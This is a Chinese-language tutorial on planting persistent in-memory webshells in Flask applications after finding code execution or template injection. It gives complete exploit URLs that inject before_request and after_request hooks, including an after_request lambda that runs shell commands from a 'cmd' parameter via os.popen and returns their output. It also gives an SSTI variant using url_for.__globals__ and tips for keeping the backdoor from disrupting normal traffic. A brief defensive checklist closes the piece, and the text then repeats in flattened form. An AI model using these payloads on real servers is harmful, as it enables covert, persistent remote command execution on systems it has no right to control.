Python Flask内存马的另辟途径
字数 944 2025-08-04 22:51:28

Python Flask内存马技术深入解析

1. 背景与现状

在Python Flask框架中,当发现后台存在任意代码执行漏洞后,攻击者通常会尝试维持权限。传统方法是通过add_url_rule添加恶意路由,但在较新版本的Flask中,这种方法已不再适用:

@app.route('/e')
def e():
    a = eval(request.args.get('cmd'))
    if a:
        return "1"
    else:
        return "0"

尝试执行app.add_url_rule('/shell','shell',lambda :"123")会返回错误:
The setup method 'add_url_rule' can no longer be called on the application.

2. 替代技术方案

2.1 before_request方法

Flask的@app.before_request装饰器允许在每个请求处理前执行特定函数。底层实现为:

self.before_request_funcs.setdefault(None, []).append(f)

利用方式:

http://127.0.0.1:5000/e?cmd=app.before_request_funcs.setdefault(None, []).append(lambda: "123")

特点

  • 后续所有访问结果都将变成"123"
  • 会影响主机正常业务,因为lambda必然返回一个值

2.2 after_request方法

更优的解决方案是使用@app.after_request,它在请求结束得到响应包后执行操作。底层实现类似:

self.after_request_funcs.setdefault(None, []).append(f)

关键区别

  • 传入的函数f需要接收并返回一个response对象
  • 不会中断正常业务流

完整利用URL:

http://127.0.0.1:5000/e?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)

函数解析

lambda resp: 
    CmdResp if request.args.get('cmd') and      # 如果请求含cmd参数则返回命令执行结果
    exec('
        global CmdResp;     # 定义全局变量
        CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())   # 创建响应对象
    ')==None    # 恒真条件
    else resp   # 无cmd参数则正常返回

注意事项

  • cmd参数名和CmdResp变量名应改为服务中不存在的名称
  • 避免与业务逻辑冲突

3. SSTI场景下的利用

当存在服务器端模板注入(SSTI)漏洞时:

@app.route('/')
def home():
    person = 'guest'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h2>Helo %s!</h2>' % person
    return render_template_string(template)

完整利用URL(考虑未导包情况):

http://127.0.0.1:5000/?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}

4. 防御建议

  1. 输入验证:严格过滤用户输入,特别是eval、exec等危险函数参数
  2. 权限控制:限制后台管理功能的访问权限
  3. 模板安全:避免直接渲染用户提供的模板内容
  4. 版本更新:保持Flask及相关依赖库的最新版本
  5. 代码审计:定期检查是否存在危险函数调用

5. 总结

在较新版本Flask中,传统add_url_rule方法已失效,但通过before_requestafter_request仍可实现内存马植入。其中after_request是更优选择,因其不影响正常业务流。在SSTI场景下,通过全局变量访问也能实现相同效果。防御方应重点关注输入验证和权限控制。

Python Flask内存马技术深入解析 1. 背景与现状 在Python Flask框架中,当发现后台存在任意代码执行漏洞后,攻击者通常会尝试维持权限。传统方法是通过 add_url_rule 添加恶意路由,但在较新版本的Flask中,这种方法已不再适用: 尝试执行 app.add_url_rule('/shell','shell',lambda :"123") 会返回错误: The setup method 'add_url_rule' can no longer be called on the application. 2. 替代技术方案 2.1 before_ request方法 Flask的 @app.before_request 装饰器允许在每个请求处理前执行特定函数。底层实现为: 利用方式: 特点 : 后续所有访问结果都将变成"123" 会影响主机正常业务,因为lambda必然返回一个值 2.2 after_ request方法 更优的解决方案是使用 @app.after_request ,它在请求结束得到响应包后执行操作。底层实现类似: 关键区别 : 传入的函数f需要接收并返回一个response对象 不会中断正常业务流 完整利用URL: 函数解析 : 注意事项 : cmd 参数名和 CmdResp 变量名应改为服务中不存在的名称 避免与业务逻辑冲突 3. SSTI场景下的利用 当存在服务器端模板注入(SSTI)漏洞时: 完整利用URL(考虑未导包情况): 4. 防御建议 输入验证 :严格过滤用户输入,特别是eval、exec等危险函数参数 权限控制 :限制后台管理功能的访问权限 模板安全 :避免直接渲染用户提供的模板内容 版本更新 :保持Flask及相关依赖库的最新版本 代码审计 :定期检查是否存在危险函数调用 5. 总结 在较新版本Flask中,传统 add_url_rule 方法已失效,但通过 before_request 和 after_request 仍可实现内存马植入。其中 after_request 是更优选择,因其不影响正常业务流。在SSTI场景下,通过全局变量访问也能实现相同效果。防御方应重点关注输入验证和权限控制。